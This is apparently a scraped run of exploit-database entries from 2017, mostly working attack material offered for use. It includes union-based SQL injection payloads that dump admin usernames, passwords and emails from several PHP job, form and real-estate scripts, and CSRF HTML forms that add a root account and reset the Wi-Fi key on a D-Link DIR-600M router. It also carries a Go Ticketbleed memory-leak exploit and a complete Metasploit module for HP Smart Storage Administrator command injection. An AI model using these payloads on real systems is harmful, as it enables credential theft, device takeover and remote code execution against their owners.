# http://localhost/[PATH]/editwatch.php?id=[SQL]
-999'+/*!50000union*/+select+group_concat(username,char(58),password),0x496873616e2053656e63616e,0x7777772e696873616e2e6e6574,4,5,6,7,8,9,10,11,12,13,14+from+users-- -
#
# http://localhost/[PATH]/editwatch.php?id=[SQL]
-999'+/*!50000union*/+select+1,group_concat(username,char(58),password)+from+users-- -
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Automated Job Portal Script - SQL Injection
# Google Dork: N/A
# Date: 10.02.2017
# Vendor Homepage: http://www.jagaad.com/
# Software Buy: https://codecanyon.net/item/automated-job-portal-script/14318664
# Demo: http://www.jagaad.com/demo/php/automated-job-portal/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/jobdetail.php?id=[SQL]
-999'+union+all+select+1,2,3,4,concat_ws(0x3c62723e,id,0x3c62723e,username,0x3c62723e,password,0x3c62723e,email),6,7,8,9,10,11,0x496873616e2053656e63616e202d207777772e696873616e2e6e6574,13,14,15,16,17,18,19,20,21,22,@@version,24,25,26,27,28+from+admin-- -
# 
# http://localhost/[PATH]/search.php?keyword=1&location=[SQL]
-999'+union+all+select+1,2,3,4,concat_ws(0x3c62723e,id,0x3c62723e,username,0x3c62723e,password,0x3c62723e,email),6,7,8,9,10,11,0x496873616e2053656e63616e202d207777772e696873616e2e6e6574,13,14,15,16,17,18,19,20,21,22,@@version,24,25,26,27,28+from+admin-- -
# 
# http://localhost/[PATH]/search.php?keyword=a&location=&co=[SQL]
-999'+union+all+select+1,2,3,4,concat_ws(0x3c62723e,id,0x3c62723e,username,0x3c62723e,password,0x3c62723e,email),6,7,8,9,10,11,0x496873616e2053656e63616e202d207777772e696873616e2e6e6574,13,14,15,16,17,18,19,20,21,22,@@version,24,25,26,27,28+from+admin-- -
HireHackking 
# # # # # 
# Exploit Title: QWIKIA - Ask And Answer Platform 1.1.1 - SQL Injection
# Google Dork: N/A
# Date: 10.02.2017
# Vendor Homepage: http://xandr.co/
# Software Buy: http://xandr.co/portfolio/qwikia
# Demo: http://qwikia.xandr.co/
# Version: 1.1.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search?q=[SQL]
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Multilanguage Estate Agency Pro 1.2 - SQL Injection
# Google Dork: N/A
# Date: 10.02.2017
# Vendor Homepage: http://djrust26.hu/
# Software Buy: https://codecanyon.net/item/multilanguage-estate-agency-pro-12/14521069
# Demo: http://djrust26.hu/realestate/
# Version: 1.2
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/property_show.php?id=[SQL]
# # # # #
HireHackking 
# Exploit Title:D-link wireless router DIR-600M – Cross-Site Request Forgery (CSRF) vulnerability
# Google Dork:N/A
# Date: 07/02/2017
# Exploit Author:Ajay S. Kulal (www.twitter.com/ajay_kulal)
# Vendor Homepage:dlink.com
# Software Link:N/A
# Version:Hardware version: C1  
          Firmware version: 3.03
# Tested on:All Platforms
# CVE :CVE-2017-5874

Abstract:
=======
 
Cross-Site Request Forgery (CSRF) vulnerability in the DIR-600M wireless router enables an attacker 
to perform an unwanted action on a wireless router for which the user/admin is currently authenticated.
 
 
Exploitation-Technique:
===================
Remote
 
Severity Rating:
===================
 
7.9 (AV:A/AC:M/Au:N/C:C/I:C/A:C)

Details:
=======
An attacker who lures a DIR-600M authenticated user to browse a malicious website 
can exploit cross site request forgery (CSRF) to add new admin, change wifi password and to change other network settings.
 
Proof Of Concept code:
====================
 
1. Add new user with root access

 <html>
   <!-- CSRF PoC - by Ajay Kulal -->
   <body>
     <form action="http://192.168.0.1/form2userconfig.cgi" method="POST">
       <input type="hidden" name="username" value="AK" />
       <input type="hidden" name="privilege" value="2" />
       <input type="hidden" name="newpass" value="dolphin" />
       <input type="hidden" name="confpass" value="dolphin" />
       <input type="hidden" name="adduser" value="Add" />
       <input type="hidden" name="hiddenpass" value="" />
       <input type="hidden" name="submit&#46;htm&#63;userconfig&#46;htm" value="Send" />
       <input type="submit" value="Submit request" />
     </form>
   </body>
 </html>




2. changing wireless password

 <html>
   <!-- CSRF PoC - by Ajay Kulal -->
   <body>
     <form action="http://192.168.0.1/form2WlanBasicSetup.cgi" method="POST">
       <input type="hidden" name="domain" value="1" />
       <input type="hidden" name="hiddenSSID" value="on" />
       <input type="hidden" name="ssid" value="Dravidian" />
       <input type="hidden" name="band" value="10" />
       <input type="hidden" name="chan" value="0" />
       <input type="hidden" name="chanwid" value="1" />
       <input type="hidden" name="txRate" value="0" />
       <input type="hidden" name="method&#95;cur" value="0" />
       <input type="hidden" name="method" value="2" />
       <input type="hidden" name="authType" value="2" />
       <input type="hidden" name="length" value="1" />
       <input type="hidden" name="format" value="2" />
       <input type="hidden" name="defaultTxKeyId" value="1" />
       <input type="hidden" name="key1" value="0000000000" />
       <input type="hidden" name="pskFormat" value="0" />
       <input type="hidden" name="pskValue" value="password123" />
       <input type="hidden" name="checkWPS2" value="1" />
       <input type="hidden" name="save" value="Apply" />
       <input type="hidden" name="basicrates" value="15" />
       <input type="hidden" name="operrates" value="4095" />
       <input type="hidden" name="submit&#46;htm&#63;wlan&#95;basic&#46;htm" value="Send" />
       <input type="submit" value="Submit request" />
     </form>
   </body>
 </html>
HireHackking 
/*
# Exploit Title: [Ticketbleed (CVE-2016-9244) F5 BIG-IP SSL virtual server Memory Leakage]
# Date: [10.02.2017]
# Exploit Author: [Ege Balcı]
# Vendor Homepage: [https://f5.com/]
# Version: [12.0.0 - 12.1.2 && 11.4.0 - 11.6.1]
# Tested on: [Multiple]
# CVE : [CVE-2016-9244]




BUILD:
	go get github.com/EgeBalci/Ticketbleed
	go build Ticketbleed.go

USAGE:
	./ticketbleed <options> <ip:port>
OPTIONS:
	-o, --out 	Output filename for raw memory
	-s, --size 	Size in bytes to read
	-h, --help 	Print this message

*/
package main

import "github.com/EgeBalci/Ticketbleed"
import "strconv"
import "strings"
import "fmt"
import "os"


var OutputFile string = ""
var BleedSize int = 0

func main() {


	ARGS := os.Args[1:]
	if len(ARGS) < 1 || len(ARGS) > 5{
		fmt.Println(Help)
		os.Exit(1)
	}

  	for i := 0; i < len(ARGS); i++{

		if ARGS[i] == "-h" || ARGS[i] == "--help"{
			fmt.Println(Help)
			os.Exit(1)
	  	}

		if ARGS[i] == "-o" || ARGS[i] == "--out"{
			OutputFile = ARGS[i+1]
	  	}

	  	if ARGS[i] == "-s" || ARGS[i] == "--size"{
	  		Size,err := strconv.Atoi(ARGS[i+1])
	  		if err != nil {
	  			fmt.Println("[-] ERROR: Invalid size value !")
	  			os.Exit(1)
	  		}
	  		if Size < 0 {
	  			fmt.Println("[-] ERROR: Size can't be smaller than 0")
	  			os.Exit(1)
	  		}else{
	  			BleedSize = Size
	  		}
	  	}
 	}

	if OutputFile != "" {
		File, FileErr := os.Create(OutputFile)
		if FileErr != nil {
			fmt.Println("[-] ERROR: While creating output file !")
			os.Exit(1)
		}
		File.Close()
		fmt.Println("[*] Output file: "+OutputFile)
	}

 	VulnStatus := Ticketbleed.Check(ARGS[0])								// First check if it's vulnerable
 	fmt.Println(VulnStatus)
 	if strings.Contains(VulnStatus, "[+]") {
 		
 		go Ticketbleed.Exploit(ARGS[0], OutputFile, (BleedSize/2))  		// With using multiple threads it is easyer to move on stack
 		Ticketbleed.Exploit(ARGS[0], OutputFile, (BleedSize/2))				// Othervise server echoes back alot of duplicate value
 	}

}



var Help string = `
▄▄▄█████▓ ██▓ ▄████▄   ██ ▄█▀▓█████▄▄▄█████▓ ▄▄▄▄    ██▓    ▓█████ ▓█████ ▓█████▄ 
▓  ██▒ ▓▒▓██▒▒██▀ ▀█   ██▄█▒ ▓█   ▀▓  ██▒ ▓▒▓█████▄ ▓██▒    ▓█   ▀ ▓█   ▀ ▒██▀ ██▌
▒ ▓██░ ▒░▒██▒▒▓█    ▄ ▓███▄░ ▒███  ▒ ▓██░ ▒░▒██▒ ▄██▒██░    ▒███   ▒███   ░██   █▌
░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒▓██ █▄ ▒▓█  ▄░ ▓██▓ ░ ▒██░█▀  ▒██░    ▒▓█  ▄ ▒▓█  ▄ ░▓█▄   ▌
  ▒██▒ ░ ░██░▒ ▓███▀ ░▒██▒ █▄░▒████▒ ▒██▒ ░ ░▓█  ▀█▓░██████▒░▒████▒░▒████▒░▒████▓ 
  ▒ ░░   ░▓  ░ ░▒ ▒  ░▒ ▒▒ ▓▒░░ ▒░ ░ ▒ ░░   ░▒▓███▀▒░ ▒░▓  ░░░ ▒░ ░░░ ▒░ ░ ▒▒▓  ▒ 
    â–‘     â–’ â–‘  â–‘  â–’   â–‘ â–‘â–’ â–’â–‘ â–‘ â–‘  â–‘   â–‘    â–’â–‘â–’   â–‘ â–‘ â–‘ â–’  â–‘ â–‘ â–‘  â–‘ â–‘ â–‘  â–‘ â–‘ â–’  â–’ 
  â–‘       â–’ â–‘â–‘        â–‘ â–‘â–‘ â–‘    â–‘    â–‘       â–‘    â–‘   â–‘ â–‘      â–‘      â–‘    â–‘ â–‘  â–‘ 
          â–‘  â–‘ â–‘      â–‘  â–‘      â–‘  â–‘         â–‘          â–‘  â–‘   â–‘  â–‘   â–‘  â–‘   â–‘    
             â–‘                                    â–‘                        â–‘      

Author: Ege Balci
Github: github.com/EgeBalci


USAGE: 
	./ticketbleed <ip:port> <options> 
OPTIONS:
	-o, --out 	Output filename for raw memory
	-s, --size 	Size in bytes to read
	-h, --help 	Print this message
`

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41298.zip
HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "HP Smart Storage Administrator Remote Command Injection",
      'Description'    => %q{
        This module exploits a vulnerability found in HP Smart Storage Administrator. By
        supplying a specially crafted HTTP request, it is possible to control the
        'command' variable in function isDirectFileAccess (found in ipcelmclient.php),
        which will be used in a proc_open() function. Versions prior to HP SSA 2.60.18.0 are vulnerable.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Nicolas Mattiocco (@MaKyOtOx)'  # Discovery & multi-platform Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2016-8523']
        ],
      'DefaultOptions' =>
        {
          'SSL' => true
        },
      'Platform'       => %w{ linux win },
      'Targets'        =>
        [
          ['Linux', {
            'Platform' => 'linux',
            'Arch' => ARCH_X86,
            'CmdStagerFlavor' => 'bourne'
          }],
          ['Linux (x64)', {
            'Platform' => 'linux',
            'Arch' => ARCH_X86_64,
            'CmdStagerFlavor' => 'bourne'
          }],
          ['Windows', {
            'Platform' => 'win',
            'Arch' => ARCH_X86,
            'CmdStagerFlavor' => 'certutil'
          }],
          ['Windows (x64)', {
            'Platform' => 'win',
            'Arch' => ARCH_X86_64,
            'CmdStagerFlavor' => 'certutil'
          }],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Jan 30 2017"
    ))

    register_options(
      [
        Opt::RPORT(2381),
        # USERNAME/PASS may not be necessary, because the anonymous access is possible
        OptString.new("USERNAME", [false, 'The username to authenticate as']),
        OptString.new("PASSWORD", [false, 'The password to authenticate with'])
      ], self.class)
  end

  def check

    @cookie = ''

    sig = Rex::Text.rand_text_alpha(8)
    cmd = "&echo%20#{sig}&echo"
    res = send_command(cmd, true)
    if not res
      vprint_error("#{peer} - Connection timed out")
      return Exploit::CheckCode::Unknown
    end

    if res.code == 200 && res.headers.to_s() =~ /#{sig}/
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end


  def login
    username = datastore['USERNAME']
    password = datastore['PASSWORD']

    cookie = ''

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => '/proxy/ssllogin',
      'vars_post' => {
        'redirecturl'         => '',
        'redirectquerystring' => '',
        'user'                => username,
        'password'            => password
      }
    })

    if not res
      fail_with(Failure::Unknown, "#{peer} - Connection timed out during login")
    end

    # CpqElm-Login: success
    if res.headers['CpqElm-Login'].to_s =~ /success/
      cookie = res.get_cookies.scan(/(Compaq\-HMMD=[\w\-]+)/).flatten[0] || ''
    end

    cookie
  end


  def setup_stager
    execute_cmdstager(:temp => './', :linemax => 2800)
  end


  def execute_command(cmd, opts={})
    res = send_command(cmd, false)
    if res && res.code != 200
      vprint_error("Unexpected response:\n#{res}")
      fail_with(Failure::Unknown, "There was an unexpected response")
    end
  end


  def send_command(cmd, check)
    if !datastore['USERNAME'].to_s.empty? && !datastore['PASSWORD'].to_s.empty? && @cookie.empty?
      @cookie = login
      if @cookie.empty?
        fail_with(Failure::NoAccess, "#{peer} - Login failed")
      else
        print_good("#{peer} - Logged in as '#{datastore['USERNAME']}'")
      end
    end

    req_opts = {}

    # For the check() function, use GET method
    if check
      req_opts['uri'] = "/HPSSA/index.htm#{cmd}"
      req_opts['method'] = "GET"
    else
      req_opts['uri'] = "/HPSSA/index.htm"
      req_opts['method'] = "POST"
      req_opts['vars_post'] = {'msf'=>'red'}
      case target.opts['Platform']
        when "linux" then req_opts['data'] = "\" & #{cmd.gsub(/\.\//,"/tmp/")} & echo \""
        when "win"   then req_opts['data'] = "\" & #{cmd.gsub(/\.\//,"\.\\")} & echo \""
      end
    end

    unless @cookie.empty?
      browser_chk = 'HPSMH-browser-check=done for this session'
      curl_loc    = "curlocation-#{datastore['USERNAME']}="
      req_opts['cookie'] = "#{@cookie}; #{browser_chk}; #{curl_loc}"
    end

    send_request_cgi(req_opts)
  end

  def exploit
    @cookie = ''

    setup_stager
  end
end
HireHackking 
# # # # # 
# Exploit Title: Zigaform - PHP Form Builder - Contact & Survey v2.9.1 - SQL Injection
# Google Dork: N/A
# Date: 10.02.2017
# Vendor Homepage: http://php-form-builder.zigaform.com/
# Software Buy: https://codecanyon.net/item/zigaform-php-form-builder-contact-survey/14889427
# Demo: http://demo-phpformbuilder.zigaform.com/index.php
# Version: 2.9.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/formbuilder/frontend/viewform/?form=[SQL]
# Etc...
# # # # #